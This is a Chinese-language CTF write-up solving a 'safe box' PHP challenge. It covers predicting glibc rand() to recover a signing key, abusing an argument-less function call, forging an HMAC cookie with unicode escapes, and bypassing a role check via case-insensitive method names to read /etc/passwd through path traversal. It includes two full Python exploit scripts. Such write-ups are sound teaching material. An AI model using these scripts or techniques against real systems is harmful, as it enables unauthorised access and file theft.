安全箱子的秘密

0x01 rand缺陷导致密钥泄露

目标: http://0dac0a717c3cf340e.jie.sangebaimao.com:82/index.php

随便写点东西,抓包,发现html源码里有个?x_show_source:

14660517818113.jpg

于是访问 http://0dac0a717c3cf340e.jie.sangebaimao.com:82/index.php?x_show_source ,找到源码。

分析一下,发现这里每个新的session会生成两个随机字符串,SECRET_KEY和CSRF_TOKEN。其中CSRF_TOKEN是防御CSRF的token,会直接显示在表单中;而SECRET_KEY是类似密钥的东西,在后面需要利用这个密钥给数据签名。

但密钥是不知道的,这就是本题第一个难点,如何得知密钥。我们看到随机字符串生成函数rand_str:

<?php
function rand_str($length = 16)
{
    $rand = [];
    $_str = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
    for($i = 0; $i < $length; $i++) {
        $n = rand(0, strlen($_str) - 1);
        $rand[] = $_str{$n};
    }
    return implode($rand);
} 

可见,这里用的是rand函数生成的随机数。在linux下,PHP的rand函数是调用glibc库中的rand函数,其实现是有缺陷的。可见这篇文章: http://www.sjoerdlangkemper.nl/2016/02/11/cracking-php-rand/

其提到一个公式:

state[i] = state[i-3] + state[i-31]

也就是说,rand生成的第i个随机数,等于i-3个随机数加i-31个随机数的和。

所以,我们只要生成大于32个随机数,就可以陆续推测出后面的随机数是多少了。我们看到代码:

<?php
if(empty($_SESSION['SECRET_KEY'])) {
    $_SESSION['SECRET_KEY'] = rand_str(6);
}
if(empty($_SESSION['CSRF_TOKEN'])) {
    $_SESSION['CSRF_TOKEN'] = rand_str(16);
}

当一个新请求来到时,index.php会先生成6个随机数组成的字符串作为SECRET_KEY,再生成16个随机数组成的字符串CSRF_TOKEN,而且CSRF_TOKEN是已知的。那么一次请求最多生成22个随机数,是不到31的,所以并不能使用上面的公式。

我们知道HTTP1.1协议支持Keep-Alive,也就是说一个TCP连接支持收发多个HTTP数据包,只要TCP连接不断那么这个随机数生成就是连续的。所以我只需要发送两个带有Keep-Alive的数据包即可拿到一共44个随机数。

这44个随机数大概是这样的:

a[0]~a[5]未知 + a[6]~a[21]已知 + a[22]~a[27]未知 + a[28]~a[43]已知

然后我们再次发送不带session的数据包,则再次生成『6未知+16已知』,这时『6未知』就可以推测了。根据公式,a[45] = a[14] + a[42],而a[14]和a[42]正好是已知的;根据公式,a[50] = a[19] + a[47],而a[14]和a[42]也是已知的。
所以,我们是可以推算出a[45]~a[50]这6个随机数的,进而推算出此时的SECRET_KEY。
当然,实际操作时会有一定误差,一般是推算出来的值比真实值小1。那么,我们一共推算6个随机数,可能的情况就是:

number 1 number 2 number 3 number 4 number 5 number 6
a b c d e f
a+1 b+1 c+1 d+1 e+1 f+1

做一个笛卡尔乘积,一共得到如下一些情况:

[('a', 'b', 'c', 'd', 'e', 'f'),
('a', 'b', 'c', 'd', 'e', 'f+1'),
('a', 'b', 'c', 'd', 'e+1', 'f'),
('a', 'b', 'c', 'd', 'e+1', 'f+1'),
('a', 'b', 'c', 'd+1', 'e', 'f'),
('a', 'b', 'c', 'd+1', 'e', 'f+1'),
('a', 'b', 'c', 'd+1', 'e+1', 'f'),
('a', 'b', 'c', 'd+1', 'e+1', 'f+1'),
('a', 'b', 'c+1', 'd', 'e', 'f'),
('a', 'b', 'c+1', 'd', 'e', 'f+1'),
('a', 'b', 'c+1', 'd', 'e+1', 'f'),
('a', 'b', 'c+1', 'd', 'e+1', 'f+1'),
('a', 'b', 'c+1', 'd+1', 'e', 'f'),
('a', 'b', 'c+1', 'd+1', 'e', 'f+1'),
('a', 'b', 'c+1', 'd+1', 'e+1', 'f'),
('a', 'b', 'c+1', 'd+1', 'e+1', 'f+1'),
('a', 'b+1', 'c', 'd', 'e', 'f'),
('a', 'b+1', 'c', 'd', 'e', 'f+1'),
('a', 'b+1', 'c', 'd', 'e+1', 'f'),
('a', 'b+1', 'c', 'd', 'e+1', 'f+1'),
('a', 'b+1', 'c', 'd+1', 'e', 'f'),
('a', 'b+1', 'c', 'd+1', 'e', 'f+1'),
('a', 'b+1', 'c', 'd+1', 'e+1', 'f'),
('a', 'b+1', 'c', 'd+1', 'e+1', 'f+1'),
('a', 'b+1', 'c+1', 'd', 'e', 'f'),
('a', 'b+1', 'c+1', 'd', 'e', 'f+1'),
('a', 'b+1', 'c+1', 'd', 'e+1', 'f'),
('a', 'b+1', 'c+1', 'd', 'e+1', 'f+1'),
('a', 'b+1', 'c+1', 'd+1', 'e', 'f'),
('a', 'b+1', 'c+1', 'd+1', 'e', 'f+1'),
('a', 'b+1', 'c+1', 'd+1', 'e+1', 'f'),
('a', 'b+1', 'c+1', 'd+1', 'e+1', 'f+1'),
('a+1', 'b', 'c', 'd', 'e', 'f'),
('a+1', 'b', 'c', 'd', 'e', 'f+1'),
('a+1', 'b', 'c', 'd', 'e+1', 'f'),
('a+1', 'b', 'c', 'd', 'e+1', 'f+1'),
('a+1', 'b', 'c', 'd+1', 'e', 'f'),
('a+1', 'b', 'c', 'd+1', 'e', 'f+1'),
('a+1', 'b', 'c', 'd+1', 'e+1', 'f'),
('a+1', 'b', 'c', 'd+1', 'e+1', 'f+1'),
('a+1', 'b', 'c+1', 'd', 'e', 'f'),
('a+1', 'b', 'c+1', 'd', 'e', 'f+1'),
('a+1', 'b', 'c+1', 'd', 'e+1', 'f'),
('a+1', 'b', 'c+1', 'd', 'e+1', 'f+1'),
('a+1', 'b', 'c+1', 'd+1', 'e', 'f'),
('a+1', 'b', 'c+1', 'd+1', 'e', 'f+1'),
('a+1', 'b', 'c+1', 'd+1', 'e+1', 'f'),
('a+1', 'b', 'c+1', 'd+1', 'e+1', 'f+1'),
('a+1', 'b+1', 'c', 'd', 'e', 'f'),
('a+1', 'b+1', 'c', 'd', 'e', 'f+1'),
('a+1', 'b+1', 'c', 'd', 'e+1', 'f'),
('a+1', 'b+1', 'c', 'd', 'e+1', 'f+1'),
('a+1', 'b+1', 'c', 'd+1', 'e', 'f'),
('a+1', 'b+1', 'c', 'd+1', 'e', 'f+1'),
('a+1', 'b+1', 'c', 'd+1', 'e+1', 'f'),
('a+1', 'b+1', 'c', 'd+1', 'e+1', 'f+1'),
('a+1', 'b+1', 'c+1', 'd', 'e', 'f'),
('a+1', 'b+1', 'c+1', 'd', 'e', 'f+1'),
('a+1', 'b+1', 'c+1', 'd', 'e+1', 'f'),
('a+1', 'b+1', 'c+1', 'd', 'e+1', 'f+1'),
('a+1', 'b+1', 'c+1', 'd+1', 'e', 'f'),
('a+1', 'b+1', 'c+1', 'd+1', 'e', 'f+1'),
('a+1', 'b+1', 'c+1', 'd+1', 'e+1', 'f'),
('a+1', 'b+1', 'c+1', 'd+1', 'e+1', 'f+1')] 

依次试一遍就好了。

0x02 PHP鸡肋任意代码执行

依次测试上述推测出的SECRET_KEY,当页面返回值不再提示Permission deny!!时,说明预测准确。此时我们拿到了SECRET_KEY,即可计算hmac,实际上计算hmac是为了控制$act$act是后面PHP执行的函数:

<?php
if(hash_hmac('md5', $act, $_SESSION['SECRET_KEY']) === $key) {
   if(function_exists($act)) {
       $exec_res = $act();
       output($exec_res);
   } else {
       show_error_page("Function not found!!");
   }
} else {
   show_error_page("Permission deny!!");
}

$act(),这里等于说存在一个『任意代码执行』漏洞。但这个漏洞比较鸡肋,虽然可以执行任意函数,但因为没有传入参数,所以导致执行诸如assert、system之类的函数是没用的,会报错:

14660635298209.jpg

那么,我们只能利用php里一些不含参数的函数。php里有几个get开头的函数,其效果还是蛮强的:

14660639680966.jpg

主要有以下一些:

  1. get_defined_functions 可以获取所有已经定义的函数
  2. get_defined_constants 可以获取所有已经定义的常量
  3. get_defined_vars 可以获取所有已经定义的变量
  4. get_included_files 可以获取所有已经包含的文件
  5. get_loaded_extensions 可以获取所有加载的扩展
  6. get_declared_classes 可以获取所有已经声明的类
  7. get_declared_interfaces 可以获取所有已经声明的接口

其中,第1~4个方法十分致命。一般一个网站加密密钥、数据库配置信息多半存在常量或全局变量中,通过第2、3个方法即可全部获取,而通过第1、4个方法可以大致获取网站结构,了解函数状况。

这里,我们通过调用get_defined_functions,即可获得一个包含所有已经定义的函数的数组。不过,我们需要设置HTTP头:

<?php
function output($obj)
{
    if(isset($_SERVER['HTTP_X_REQUESTED_WITH']) &&
        strcasecmp($_SERVER['HTTP_X_REQUESTED_WITH'], 'XMLHttpRequest') === 0) {
        header("Content-Type: application/json");
        echo json_encode($obj);
    } else {
        header("Content-Type: text/html; charset=UTF-8");
        echo strval($obj);
    }
}

因为我们要获取的是数组,数组直接输出是会被强制转换成字符串的。所以我将X-REQUESTED-WITH设置为XMLHttpRequest,即可让输出结果转换成json,这样数组就被保留了:

14660645664569.jpg

输出所有函数,我发现用户函数中有几个函数在源码中没看到:_fd_init,fd_show_source,fd_config,fd_error,fg_safebox

分别执行一下,发现fd_show_source是读取源码:

14660646878115.jpg

0x03 提权+任意文件读取漏洞

整理一下这个源码,发现主要逻辑在fg_safebox函数中,观察一下:

<?php
function fg_safebox()
{
    _fd_init();
    $config = fd_config();
    $action = isset($_POST['method']) ? $_POST['method'] : "";
    $role = isset($_SESSION["userinfo"]['role']) ? $_SESSION["userinfo"]['role'] : "";
    if(!in_array($role, ['admin', 'user'])) {
        return fd_error('Permission denied!!');
    }
    if(in_array($action, $config['role']['admin']) && $role != "admin") {
        return fd_error('Admin permission denied!!');
    }
    $box = new SafeBox();
    if(method_exists($box, $action)) {
        return call_user_func([$box, $action]);
    } else {
        return null;
    }
}

先调用了_fd_init()。然后检查用户session[role]是否是admin或user,并检查用户是否有权限执行某函数。

先看看_fd_init:

<?php
function _fd_init()
{
    //定义role必须为guest
    $_SESSION["userinfo"] = [
        "role" => "guest"
    ];
    $cookie = isset($_COOKIE['userinfo']) ? base64_decode($_COOKIE['userinfo']) : "";
    if(empty($cookie) || strlen($cookie) < 32) {
        return false;
    }

    $h1 = substr($cookie, 0, 32);
    $h2 = substr($cookie, 32);
    if($h1 !== hash_hmac("md5", $h2, $_SESSION['SECRET_KEY'])) {
        return false;
    }

    //防止身份伪造
    if(strpos($h2, "admin") !== false || strpos($h2, "user") !== false) {
        return false;
    }
    $s = json_decode($h2, true);
    $s['role'] = strval($s['role']);
    if($s['role'] == 'admin') {
        return false;
    }
    $_SESSION["userinfo"] = array_merge($_SESSION["userinfo"], $s);
    return true;
}

实际上是从cookie中取出信息并用json_decode解码后作为session,我们的目标是控制$_SESSION['userinfo']['role']。有三个地方注意一下就好了:

  • cookie中取出的信息先进行签名认证,但因为密钥SECRET_KEY已经拿到了,所以不成问题
  • admin和user这两个字符串不能出现在json中,我们可以利用unicode编码,比如{<q>role</q>: <q>\u0075ser</q>}
  • role的值不能为admin

主要是第三个问题,role的值不能是admin,那么执行不了read方法:

<?php
private function _read_file($filename)
{
    $filename = dirname(__FILE__) . "/" . $filename;
    return file($filename);
}

public function read()
{
    $filename = isset($_POST['filename']) ? $_POST['filename'] : "box.txt";
    return $this->_read_file($filename);
}

而read方法很明显是有任意文件读取漏洞的,所以现在做的是提权。

我们执行fd_config()函数,可以得到权限分配的数组:

14660765094390.jpg

可以看到,admin对应的方法有read,而user对应的方法有view、alist、random,在flag.php的97行对权限进行检查:

<?php
if(in_array($action, $config['role']['admin']) && $role != "admin") {
    return fd_error('Admin permission denied!!');
}

$action$config['role']['admin']数组中时,如果你的role又不是admin,则提示权限错误。

其实这里又涉及到php的大小写敏感问题,php语言的方法名、类名、函数名是大小写不敏感的,也就是说平时执行phpinfo()可以读取php信息,执行PhPInfO()效果也是一样的。

所以,我只需要传入的$action为READ等包含大写字母即可绕过in_array的限制,而最后仍然可以执行read方法。

执行read方法后即可读取任意文件,按常规渗透方式读取一些常见文件

/etc/passwd
/etc/hosts
/etc/apache2/httpd.conf
/etc/php5/php.ini
/etc/cron 

在/etc/apache2/httpd.conf的最后几行发现flag:

14660773376068.jpg

0x04 编写脚本

这个题其实难度并不大,但复杂,十分复杂,几乎不可能通过手工拿到flag,必须要写脚本。
首先,我要先写一个获取SECRET_KEY的脚本,就是我在0x01中说到的,利用rand函数缺陷预测SECRET_KEY,并通过笛卡尔乘积生成可能的情况,一一测试,最终找到正确的SECRET_KEY。
给出我的脚本:

#!/usr/bin/env python
import requests
import re
import itertools
import random
import string
import hmac
import hashlib
import sys

rand = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
target = "http://0dac0a717c3cf340e.jie.sangebaimao.com:82/index.php"

def get_csrf_token(res):
    rex = re.search(r'name="CSRF_TOKEN" value="(\w+)"', res.content)
    return rex.group(1)

def str_to_random(lst):
    return [rand.find(s) for s in lst]

def random_to_str(lst):
    return ''.join([rand[i] if 0 <= i < len(rand) else '0' for i in lst])

def calc_key(lst):
    for i in range(len(lst), len(lst) + 6):
        assert(lst[i - 31] != -1)
        assert(lst[i - 3] != -1)
        lst.append((lst[i - 31] + lst[i - 3]) % len(rand))
    return lst[-6:]

def test_token(s, secret):
    res = s.get(target)
    token = get_csrf_token(res)
    res = s.post(target, data={
        "submit": "1",
        "CSRF_TOKEN": token,
        "act": "phpinfo",
        "key": hash_hmac("phpinfo", secret)
    })
    if res.content.find("Permission deny!!") < 0:
        sys.stdout.write("\n")
        print("[cookies ]", s.headers['Cookie'])
        print("[key ]", secret)
        print("[content ]", res.content)
        return True
    else:
        sys.stdout.write(".")
        sys.stdout.flush()
        return False

def hash_hmac(data, key):
    h = hmac.new(key, data, hashlib.md5)
    return h.hexdigest()

def rand_str(length):
    return ''.join(random.choice(string.letters + string.digits) for _ in range(length))

def calc_maybe(lst):
    prd = []
    for i in lst:
        prd.append((i, i+1))
    return itertools.product(*prd)

rand_lst = []
s = requests.session();
s.headers = {
    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) "
                  "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51"
                  ".0.2704.63 Safari/537.36"
}

for i in range(2):
    s.headers['Cookie'] = "PHPSESSID={};".format(rand_str(12))
    res = s.get(target)
    token = get_csrf_token(res)
    rand_lst += list("\x00" * 6)
    rand_lst += list(token)

#print(rand_lst)
rand_lst = str_to_random(rand_lst)

key_arr = calc_key(rand_lst)
print("[calc key] ", key_arr)

s.headers['Cookie'] = "PHPSESSID={};".format(rand_str(12))
for fkey in calc_maybe(key_arr):
    if test_token(s, random_to_str(fkey)):
        break

有几点要注意的:

  • CSRF_TOKEN每次使用完就会销毁,所以每次发送POST请求之前都需要获取一个CSRF_TOKEN
  • 为了保证Keep-Alive,使用requests库的session类来维持会话
  • 为了生成44个随机数,需要发送两次数据包,发送数据包前需要更换sessionid,否则第二次不会再生成新的随机数。我的做法是发送前自己生成随机字符串作为sessionid
  • 笛卡尔积可以用python的itertools.product方法
  • 最终获取准确的secret_key后,要输出这个secret_key,同时还要输出当前sessionid,后续操作均需要带着这个sessionid

这个脚本有一定的失败率,具体为什么不细讲了,多试几次肯定Ok就是了:

14660780995414.jpg

拿到key了,然后我们再写一个脚本。这个脚本的目的是读取文件:

#!/usr/bin/env python
import hmac
import hashlib
import sys
import requests
import re
import urlparse
import json
import base64
import urllib

secret = "5ist0d"
session = "eiZCh9cVSo35"
target = "http://0dac0a717c3cf340e.jie.sangebaimao.com:82/index.php"

def get_csrf_token(res):
    rex = re.search(r'name="CSRF_TOKEN" value="(\w+)"', res.content)
    return rex.group(1)

def hash_hmac(data, key):
    h = hmac.new(key, data, hashlib.md5)
    return h.hexdigest()

if __name__ == '__main__':
    func = sys.argv[1]
    post_data = {}
    cookie = '{"role": "\\u0075ser"}'
    auth = hash_hmac(cookie, secret)
    s = requests.session()
    s.headers = {
        "Cookie": "PHPSESSID={}; userinfo={}".format(session, urllib.quote(base64.b64encode(auth+cookie))),
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) "
                      "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51"
                      ".0.2704.63 Safari/537.36",
        "X-REQUESTED-WITH": "XMLHttpRequest"
    }

    res = s.get(target)
    token = get_csrf_token(res)
    post_data.update({
        "submit": "1",
        "CSRF_TOKEN": token,
        "act": func,
        "key": hash_hmac(func, secret), 
        "method": "reaD",
        "filename": "../../etc/passwd"
    })
    res = s.post(target, data=post_data)
    print(res.content)

将刚才获取的secret和sessionid填入脚本,执行即可读取../../etc/passwd文件。我们可以在sys.argv[1]传入想执行的函数,比如

./calc.py fd_show_source
./calc.py fd_config
./calc.py fg_safebox 

当然,最终我们要执行的是fg_safebox,在post包中设置method=reaD,filename是想读的文件,cookie中配置好role=user的json字符串,执行即可:

14660788476962.jpg

免责声明:文章内容不代表本站立场,本站不对其内容的真实性、完整性、准确性给予任何担保、暗示和承诺,仅供读者参考,文章版权归原作者所有。如本文内容影响到您的合法权益(内容、图片等),请及时联系本站,我们会及时删除处理。查看原文

为您推荐